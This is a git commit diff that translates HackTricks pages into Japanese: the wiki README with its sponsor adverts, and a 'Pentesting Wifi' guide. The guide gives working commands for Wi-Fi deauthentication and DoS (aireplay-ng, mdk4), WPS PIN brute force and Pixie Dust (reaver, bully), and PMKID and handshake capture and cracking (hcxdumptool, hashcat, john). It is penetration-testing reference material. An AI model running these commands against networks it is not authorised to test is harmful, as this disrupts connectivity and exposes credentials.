Translated ['README.md', 'generic-methodologies-and-resources/pentesting

This commit is contained in:
Translator 2024-11-19 12:38:18 +00:00
parent 6e61451966
commit 35a201190a
19 changed files with 629 additions and 629 deletions

View file

@ -5,7 +5,7 @@
_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_
{% hint style="success" %}
**CTF、実際のアプリ、研究の読書、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。**
**CTF、実際のアプリ、研究を読むこと、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。**
{% endhint %}
始めるには、このページに従って、**1台以上のマシンをペンテストする際に従うべき典型的な流れ**を見つけてください:
@ -42,9 +42,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。
**Intigriti**は、**ヨーロッパの#1**の倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
**バグバウンティのヒント****Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォームです!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう!
**バグバウンティのヒント****Intigriti**に**サインアップ**してください。ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で今すぐ参加し、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -55,7 +55,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築および自動化**します。
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフロー**を簡単に構築および**自動化**します。
今すぐアクセスを取得:
@ -65,9 +65,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
* **ハッキングの洞察**:ハッキングのスリルと課題に深く掘り下げたコンテンツに参加
* **リアルタイムハックニュース**:リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握
@ -93,14 +93,14 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi**は、**検索エンジンの結果にアクセスするための迅速で簡単なリアルタイムAPI**を提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。
**SerpApi**は、**検索エンジンの結果**にアクセスするための迅速で簡単なリアルタイムAPIを提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。
SerpApiのプランの1つに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\
他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。
現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\
詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\
**無料アカウントを作成**するには、[**こちら**](https://serpapi.com/users/sign\_up)をクリックしてください。**
詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\
**ここで無料アカウントを作成**できます[**こちら**](https://serpapi.com/users/sign\_up)**。**
***
@ -112,7 +112,7 @@ SerpApiのプランの1つに加入すると、Google、Bing、Baidu、Yahoo、Y
WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。
WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください!
WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、その自信は**最高の品質の結果を保証する**ほどです。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください!
上記に加えて、WebSecは**HackTricksの熱心なサポーターでもあります。**
@ -120,7 +120,7 @@ WebSecのもう一つの素晴らしい点は、業界の平均とは異なり
## License & Disclaimer
確認してください:
彼らを確認してください:
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -139,8 +139,8 @@ GCPハッキングを学び、実践する<img src=".gitbook/assets/grte.png"
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私たちをフォローしてください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,36 +1,36 @@
# Pentesting Wifi
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握してください
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていく
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
## Wifi basic commands
## Wifi基本コマンド
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
@ -52,7 +52,7 @@ iwlist wlan0 scan #Scan available wifis
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### Airgeddon
### エアゲドン
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
@ -97,26 +97,26 @@ sudo python setup.py install # Install any dependencies
## 攻撃の概要
* **DoS**
* 非認証/非関連付け -- すべての人を切断または特定のESSID/クライアント)
* 非認証/非関連 -- すべての人を切断または特定のESSID/クライアント)
* ランダムな偽AP -- ネットを隠す、スキャナーをクラッシュさせる可能性
* APを過負荷にする -- APを殺そうとする通常あまり役に立たない
* APを過負荷 -- APを殺そうとする通常あまり役に立たない
* WIDS -- IDSで遊ぶ
* TKIP, EAPOL -- 一部のAPに対する特定のDoS攻撃
* **クラック**
* **WEP**をクラック(いくつかのツールと方法)
* **WPA-PSK**
* **WPS** PIN "ブルートフォース"
* **WPA PMKID** ブルートフォース
* **WPS**ピン "ブルートフォース"
* **WPA PMKID**ブルートフォース
* \[DoS +] **WPAハンドシェイク**キャプチャ + クラック
* **WPA-MGT**
* **ユーザー名キャプチャ**
* **ブルートフォース** 認証情報
* **ブルートフォース**資格情報
* **イービルツイン**DoSの有無にかかわらず
* **オープン** イービルツイン \[+ DoS] -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに便利
* **WPA-PSK** イービルツイン -- パスワードを知っていればネットワーク攻撃に便利
* **WPA-MGT** -- 会社の認証情報をキャプチャするのに便利
* **オープン**イービルツイン \[+ DoS] -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を行うのに便利
* **WPA-PSK**イービルツイン -- パスワードを知っていればネットワーク攻撃に便利
* **WPA-MGT** -- 会社の資格情報をキャプチャするのに便利
* **KARMA, MANA**, **Loud MANA**, **Known beacon**
* **+ オープン** -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに便利
* **+ オープン** -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を行うのに便利
* **+ WPA** -- WPAハンドシェイクをキャプチャするのに便利
## DOS
@ -125,7 +125,7 @@ sudo python setup.py install # Install any dependencies
**説明は** [**こちらから**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**非認証**攻撃は、Wi-Fiハッキングで一般的な手法であり、「管理」フレームを偽造して**ネットワークからデバイスを強制的に切断**します。これらの暗号化されていないパケットは、クライアント正当なネットワークからのものであると信じ込ませ、攻撃者がクラック目的でWPAハンドシェイクを収集したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術は、その単純さにおいて驚くべきものであり、広く使用されており、ネットワークセキュリティに重大な影響を与えます。
**非認証**攻撃は、Wi-Fiハッキングで一般的な手法であり、「管理」フレームを偽造して**デバイスをネットワークから強制的に切断**します。これらの暗号化されていないパケットは、クライアント正当なネットワークからのものであると信じ込ませ、攻撃者がクラック目的でWPAハンドシェイクを収集したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術は、その単純さにおいて驚くべきものであり、広く使用されており、ネットワークセキュリティに重大な影響を与えます。
**Aireplay-ngを使用した非認証**
```
@ -141,7 +141,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
**切断パケット**は、非認証パケットと同様に、Wi-Fiネットワークで使用される管理フレームの一種です。これらのパケットは、デバイスラップトップやスマートフォンなどとアクセスポイントAPとの接続を切断するために使用されます。切断と非認証の主な違いは、その使用シナリオにあります。APが**ネットワークから不正なデバイスを明示的に削除するために非認証パケットを発信する一方で、切断パケットは通常、APがシャットダウン、再起動、または移動している際に送信され、すべての接続ードの切断が必要となります。**
**この攻撃はmdk4モード"d"によって実行できます:**
**この攻撃はmdk4モード"d"実行できます:**
```bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -180,7 +180,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
**ATTACK MODE m: Michael Countermeasures Exploitation**
ランダムまたは重複したパケットを異なるQoSキューに送信することで、**TKIP APs**上でマイケル対策をトリガーし、1分間のAPシャットダウンを引き起こすことがあります。この方法は、効率的な**DoS**(サービス拒否)攻撃戦術です。
ランダムまたは重複したパケットを異なるQoSキューに送信すると、**TKIP APs**でマイケル対策がトリガーされ、APが1分間シャットダウンします。この方法は、効率的な**DoS**(サービス拒否)攻撃戦術です。
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -188,12 +188,12 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ATTACK MODE e: EAPOL Start and Logoff Packet Injection**
APに**EAPOL Startフレーム**を洪水させることで**偽のセッション**が作成され、APが圧倒され、正当なクライアントがブロックされます。あるいは、**偽のEAPOL Logoffメッセージ**を注入することでクライアントを強制的に切断、どちらの方法もネットワークサービスを効果的に妨害します。
APに**EAPOL Startフレーム**を洪水させることで**偽のセッション**が作成され、APが圧倒され、正当なクライアントがブロックされます。あるいは、**偽のEAPOL Logoffメッセージ**を注入することでクライアントを強制的に切断させることができ、どちらの方法もネットワークサービスを効果的に妨害します。
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ATTACK MODE s: IEEE 802.11s メッシュネットワークに対する攻撃**
**ATTACK MODE s: IEEE 802.11s メッシュネットワークへの攻撃**
メッシュネットワークにおけるリンク管理とルーティングに対するさまざまな攻撃。
@ -216,14 +216,14 @@ _**Airgeddon**_ は、前のコメントで提案されたほとんどの攻撃
## WPS
WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、**WPA** または **WPA2** Personal で暗号化されたネットワークのセットアップ速度と容易さを向上させます。WEPセキュリティに対しては効果がありません。WPSは8桁のPINを使用し、2つの半分で検証されるため、組み合わせの数が限られている11,000通り)ため、ブルートフォース攻撃に対して脆弱です。
WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、**WPA** または **WPA2** パーソナルで暗号化されたネットワークのセットアップ速度と容易さを向上させます。容易に侵害されるWEPセキュリティには効果がありません。WPSは8桁のPINを使用し、2つの半分で検証されるため、組み合わせの数が限られている11,000の可能性)ため、ブルートフォース攻撃に対して脆弱です。
### WPS Bruteforce
このアクションを実行するための主なツールは2つありますReaver Bully。
このアクションを実行するための主なツールは2つありますReaverとBully。
* **Reaver** は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントWPS実装に対してテストされています。
* **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。元のReaverコードに対していくつかの利点があります依存関係が少な、メモリとCPUのパフォーマンスが向上、エンディアンの正しい処理、より堅牢なオプションセット。
* **Reaver** は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントWPS実装に対してテストされています。
* **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。元のReaverコードに対していくつかの利点があります依存関係が少な、メモリとCPUのパフォーマンスが向上、エンディアンの処理が正確で、より堅牢なオプションセットがあります
この攻撃は、**WPS PINの脆弱性**を利用し、特に最初の4桁の露出と最後の桁のチェックサムとしての役割がブルートフォース攻撃を容易にします。しかし、攻撃者の攻撃的なMACアドレスを**ブロックする**などのブルートフォース攻撃に対する防御は、攻撃を続けるために**MACアドレスのローテーション**を要求します。
@ -236,14 +236,14 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします
1. **事前発見されたPIN**: 特定のメーカーに関連する既知のPINのデータベースを利用し、均一なWPS PINを使用することで知られるメーカーにリンクします。このデータベースは、MACアドレスの最初の3オクテットをこれらのメーカーの可能性のあるPINと相関させます。
2. **PIN生成アルゴリズム**: APのMACアドレスに基づいてWPS PINを計算するComputePINやEasyBoxのようなアルゴリズムを活用します。Arcadyanアルゴリズムは、デバイスIDも必要とし、PIN生成プロセスに層を追加します。
1. **事前に発見されたPIN**特定のメーカーに関連する既知のPINのデータベースを利用し、均一なWPS PINを使用することで知られるメーカーにリンクします。このデータベースは、MACアドレスの最初の3オクテットとこれらのメーカーの可能性のあるPINを相関させます。
2. **PIN生成アルゴリズム**APのMACアドレスに基づいてWPS PINを計算するComputePINやEasyBoxのようなアルゴリズムを活用します。Arcadyanアルゴリズムは、デバイスIDも必要とし、PIN生成プロセスに層を追加します。
### WPSピクシーダスト攻撃
**ドミニク・ボンガール**は、秘密コードの作成に関するいくつかのアクセスポイントAPの欠陥を発見しました。これらは**ノンス****E-S1**および**E-S2**として知られています。これらのンスが特定できれば、APのWPS PINを解読するのが容易になります。APは、正当であり偽のロゲAPではないことを証明するために、特別なコードハッシュ内にPINを公開します。これらのンスは、WPS PINを保持する「金庫」を解錠するための「鍵」として本質的に機能します。詳細は[こちら](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))で確認できます。
簡単に言えば、問題は、いくつかのAPが接続プロセス中にPINを暗号化するために十分にランダムな鍵を使用しなかったことです。これにより、PINがネットワーク外から推測される脆弱性が生じますオフラインブルートフォース攻撃
簡単に言えば、問題は、一部のAPが接続プロセス中にPINを暗号化するために十分にランダムな鍵を使用しなかったことです。これにより、PINがネットワーク外から推測される脆弱性が生じますオフラインブルートフォース攻撃
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
@ -254,13 +254,13 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
### Null Pin攻撃
一部の設計が不十分なシステムでは、**Null PIN**空のまたは存在しないPINがアクセスを許可することさえあります。これは非常に異常です。この脆弱性をテストすることができるツールは**Reaver**であり、**Bully**ではありません
一部の設計が不十分なシステムでは、**Null PIN**空のまたは存在しないPINがアクセスを許可することさえあります。これは非常に異常です。ツール**Reaver**は、この脆弱性をテストすることができ、**Bully**とは異なります
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
提案されたすべてのWPS攻撃は、_**airgeddon**_を使用して簡単に実行できます。
提案されたすべてのWPS攻撃は、_**airgeddon.**_を使用して簡単に実行できます。
![](<../../.gitbook/assets/image (219).png>)
@ -272,26 +272,26 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
## **WEP**
今では壊れていて使用されていません。_**airgeddon**_には、この種の保護を攻撃するための「All-in-One」と呼ばれるWEPオプションがあることを知っておいてください。多くのツールが同様のオプションを提供しています。
今では壊れていて使用されていません。_**airgeddon**_には、この種の保護を攻撃するための「All-in-One」と呼ばれるWEPオプションがあることを知っておいてください。他のツールも同様のオプションを提供しています。
![](<../../.gitbook/assets/image (432).png>)
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
**ハッキングの洞察**\
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に化するハッキングの世界に遅れずについていきましょう
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に化するハッキングの世界に遅れずについていきましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!**
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
***
@ -301,7 +301,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
2018年、**hashcat**は[新しい攻撃方法](https://hashcat.net/forum/thread-7717.html)を明らかにしました。この方法は、**1つのパケット**だけを必要とし、ターゲットAPに接続されているクライアントを必要としないため、ユニークです—攻撃者とAPの間の相互作用だけが必要です。
多くの現代のルーターは、関連付け中に**最初のEAPOL**フレームに`Robust Security Network`として知られる**オプションフィールド**を追加します。これには`PMKID`が含まれます。
多くの現代のルーターは、関連中に**最初のEAPOL**フレームに`Robust Security Network`として知られる**オプションフィールド**を追加します。これには`PMKID`が含まれます。
元の投稿が説明しているように、**PMKID**は既知のデータを使用して作成されます:
```bash
@ -321,16 +321,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
キャプチャされた **PMKIDs****コンソール** に表示され、また **/tmp/attack.pcap** **保存** されます。\
キャプチャされた **PMKIDs****コンソール** に表示され、また **/tmp/attack.pcap** に **保存** されます。\
次に、キャプチャを **hashcat/john** 形式に変換し、クラックします:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
正しいハッシュの形式は**4つの部分**を含むことに注意してください。例: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` あなたのものが**3つの部分**しか含まれていない場合、それは**無効**ですPMKIDキャプチャが無効でした
正しいハッシュの形式は**4つの部分**を含むことに注意してください。例: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` あなたのハッシュが**3つの部分**しか含まれていない場合、それは**無効**ですPMKIDキャプチャが無効でした
`hcxdumptool`は**ハンドシェイクもキャプチャ**します(このようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。あなたは`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。
`hcxdumptool`は**ハンドシェイクもキャプチャ**します(このようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**できます。
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -345,11 +345,11 @@ _I have noticed that some handshakes captured with this tool couldn't be cracked
**WPA/WPA2**ネットワークに対する攻撃は、**handshake**をキャプチャし、パスワードを**offline**で**crack**しようとすることで実行できます。このプロセスは、特定のネットワークと特定の**channel**上の**BSSID**の通信を監視することを含みます。以下は簡潔なガイドです:
1. ターゲットネットワークの**BSSID**、**channel**、および**connected client**を特定します。
2. 指定されたchannelとBSSIDでネットワークトラフィックを監視するために`airodump-ng`を使用し、handshakeをキャプチャすることを期待します。コマンドは次のようになります
2. `airodump-ng`を使用して、指定されたchannelとBSSIDのネットワークトラフィックを監視し、handshakeをキャプチャすることを期待します。コマンドは次のようになります
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. ハンドシェイクをキャプチャする確率を高めるために、クライアントをネットワークから一時的に切断して再認証を強制します。これは、クライアントに対して非認証パケットを送信する `aireplay-ng` コマンドを使用して行うことができます:
3. ハンドシェイクをキャプチャする確率を高めるために、クライアントを一時的にネットワークから切断して再認証を強制します。これは、クライアントに対して非認証パケットを送信する `aireplay-ng` コマンドを使用して行うことができます:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
@ -397,7 +397,7 @@ pyrit -r psk-01.cap analyze
3. **EAP-TLS (Transport Layer Security)**:
* 認証のためにクライアント側とサーバー側の証明書の両方を利用し、通信を保護するためにユーザー基盤およびセッション基盤のWEPキーを動的に生成できます。
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* 暗号化されたトンネルを通じて相互認証を提供し、動的なユーザーごとのセッションごとのWEPキーを導出する方法を提供します。サーバー側の証明書のみが必要で、クライアントは資格情報を使用します。
* 暗号化されたトンネルを通じて相互認証を提供し、動的なユーザーごとのセッションごとのWEPキーを導出する方法を提供します。サーバー側の証明書のみを必要とし、クライアントは資格情報を使用します。
5. **PEAP (Protected Extensible Authentication Protocol)**:
* EAPと同様に、保護された通信のためにTLSトンネルを作成します。トンネルによって提供される保護のため、EAPの上に弱い認証プロトコルを使用することができます。
* **PEAP-MSCHAPv2**: 一般にPEAPと呼ばれ、脆弱なMSCHAPv2チャレンジ/レスポンスメカニズムと保護的なTLSトンネルを組み合わせています。
@ -409,17 +409,17 @@ pyrit -r psk-01.cap analyze
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**「アイデンティティ」** **メッセージ**は**サポートされている**必要があり、**ユーザー名**は**「レスポンスアイデンティティ」**メッセージで**クリア**で送信されることがわかります。
最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用しても、**EAPプロトコルで送信されたユーザー名をキャプチャする**ことが可能です。そのためには、**認証通信をキャプチャ**します(チャンネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を使用)し、パケットを`eapol`でフィルタリングします。\
最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用しても、**EAPプロトコルで送信されたユーザー名をキャプチャする**ことが可能です。これを行うには、**認証通信をキャプチャ**します(チャンネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を使用)し、パケットを`eapol`でフィルタリングします。\
「**レスポンス、アイデンティティ**」パケット内に、クライアントの**ユーザー名**が表示されます。
![](<../../.gitbook/assets/image (850).png>)
### 匿名アイデンティティ
アイデンティティの隠蔽は、EAP-PEAPとEAP-TTLSの両方でサポートされています。WiFiネットワークの文脈では、EAP-アイデンティティリクエストは通常、関連プロセス中にアクセスポイントAPによって開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、初期RADIUSサーバーがリクエストを処理するために必要な基本情報のみが含まれます。この概念は、以下のシナリオを通じて示されています
アイデンティティの隠蔽は、EAP-PEAPとEAP-TTLSの両方でサポートされています。WiFiネットワークの文脈では、EAP-アイデンティティリクエストは通常、関連付けプロセス中にアクセスポイントAPによって開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、初期RADIUSサーバーがリクエストを処理するために必要な基本情報のみが含まれます。この概念は、以下のシナリオを通じて示されています
* EAP-アイデンティティ = anonymous
* このシナリオでは、すべてのユーザーが擬似的な「anonymous」をユーザー識別子として使用します。初期RADIUSサーバーは、PEAPまたはTTLSプロトコルのサーバー側を管理するEAP-PEAPまたはEAP-TTLSサーバーとして機能します。内部保護された認証方法は、ローカルで処理されるか、リモートホームRADIUSサーバーに委任されます。
